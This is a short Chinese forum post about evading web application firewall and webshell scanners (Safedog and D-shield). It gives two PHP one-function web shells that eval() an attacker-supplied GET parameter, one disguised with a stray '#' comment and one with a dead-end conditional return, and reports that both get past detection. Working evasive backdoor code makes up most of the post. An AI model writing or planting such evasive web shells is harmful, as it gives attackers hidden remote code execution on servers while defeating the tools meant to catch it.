逻辑免杀

0x00 前言

最近搞了下bypass waf,发现waf检测逻辑有点意思。

0x01 一个符号免杀

之前我使用一个\符号bypass安全狗和d盾,这次用一个#符号bypass安全狗。

<?php
function test($name){#
    eval($name);
}

test($_GET['code']);
?>

0x02 return免杀

return bypass。

<?php
function test($name){
    if($_GET['code']==1){
        return "aaa";
    }

    eval($name);
}

test($_GET['code']);
?>

0x03 最后

其实我想发的是,免杀要点,整理出脚本免杀所有要点,比如,程序入口,程序数据流,sink点,以及面向人的免杀。
可惜,感觉水平有限,没思路写。

0x04 勿喷

突发奇想,实验成功,有点意思,记录成贴。

2 Likes